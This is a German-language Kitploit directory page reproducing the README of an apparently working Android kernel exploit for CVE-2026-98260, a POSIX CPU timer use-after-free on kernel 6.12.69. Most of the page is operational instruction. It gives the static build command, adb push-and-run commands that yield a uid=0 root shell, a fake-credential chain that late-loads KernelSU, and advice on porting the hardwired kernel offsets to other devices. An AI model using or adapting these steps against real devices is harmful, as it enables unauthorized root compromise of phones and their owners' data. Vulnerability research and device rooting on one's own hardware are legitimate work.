Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-98260 — Android-Kernel-POSIX-CPU-Timer-Use-after-free-Exploit für 6.12.69, der eine uid=0-Shell oder ein KernelSU-Late-Load über gefälschte Credentials erreicht. | Kitploit
Tools/GitHubGitHub/yukonga/cve-2026-98260
Android-SicherheitPrivilege EscalationSpeicherforensikExploitationPost-ExploitationPayload-EntwicklungBinary-Exploitation
GitHubyukonga/cve-2026-98260

CVE-2026-98260

Android-Kernel-POSIX-CPU-Timer-Use-after-free-Exploit für 6.12.69, der eine uid=0-Shell oder ein KernelSU-Late-Load über gefälschte Credentials erreicht.

Repository anzeigen
4511vor 9 TagenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-98260 Timer LPE

CVE-2026-98260 POSIX CPU-Timer-UAF-Portierung für 6.12.69-android16-6-g242e1a07f878

Zwei Ketten:

  • timer: echte cred null geschrieben → uid=0, u:r:shell:s0 (shell-Domain root, bset caps)
  • timer fake: fake cred (full caps) → installierte KernelSU libksud.so late-load

Status

PfadErgebnis
real cred null geschrieben + setuid(0) + exec shuid=0, u:r:shell:s0, ROOT_SHELL_OK
fake cred + ksud late-loadinstallierte libksud.so (uapi 6), KSU_LOADED, su ist u:r:ksu:s0

Umgebung

  • Startidentität: adb/shell (uid 2000, u:r:shell:s0), kann tracefs und /proc/slabinfo lesen
  • Wenn der KernelSU-Manager installiert ist (me.weishu.kernelsu), verwendet fake automatisch dessen lib/arm64/libksud.so

Build

NDK 28.2 (aarch64, API 35):

cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
    -fno-stack-protector -fno-pic -I. \
    -ffunction-sections -fdata-sections timer.c -o timer \
    -Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
    -Wl,-z,norelro -pthread

Verwendung

adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer

# Diagnose
adb shell /data/local/tmp/timer ids     # tracefs page event id ermitteln
adb shell /data/local/tmp/timer leak    # nur base/cred/task leaken, UAF nicht auslösen

# uid-0 shell (echte cred)
adb shell /data/local/tmp/timer         # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell   # interaktive sh

# KernelSU (fake cred + installiertes ksud)
adb shell 'cd /data/local/tmp && setsid ./timer fake >timer.log 2>&1 </dev/null &'
adb shell cat /data/local/tmp/timer.log

Erfolgsanzeichen von fake:

[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id   # uid=0 ... context=u:r:ksu:s0

Sicherheit

  • Ein fehlgeschlagener state parkt und hält einen Zombie; nicht killen, ein Neustart ist die einzige sichere Bereinigung
  • Nach erfolgreichem fake parkt auch der Elternprozess und hält die fake-cred-Seite über einen Socket
  • Nach dem Auslösen des UAF keine timeout/kill auf geparkte Prozesse anwenden, sonst kann das Recyceln des stale node durch init zu einem Panic führen
  • Nach einem Hard-Reboot verschwindet ksu root; ein simulierter Soft-Reboot über KernelSU lässt ksu root nicht verschwinden

Verzeichnis

timer/timer.c      Exploit
timer/timer        statisches Artefakt
tools/*.c          Quellcode der Portierungsdiagnose

Ziel und Portierung

Schlüsselkonstanten sind in timer/timer.c fest verdrahtet: do_timer_create/copy_process-Stellen, selinux_state, panic_on_warn, Größe des copy_process-Task-Cache, init_*-Symbole

Beim Kernelwechsel mit boot.img/BTF/kallsyms des Geräts neu ableiten; die Dateien unter tools/ dienen zur Überprüfung von call site, raw record, timer-Leak und 8 KiB AF_UNIX-Recycling-Kanal

Referenzen

  • woshigenm/CVE-2026-98260 (MIT): Trigger, Zero-Write bei real-cred, fake-cred/KSU-Ansatz
  • ghostlock-app: letzte Phase des KernelSU-Late-Load
  • Andere CVE-2026-98260-Portierungsprojekte: Order-1-Recycling und Trigger-Timing
Tool herunterladen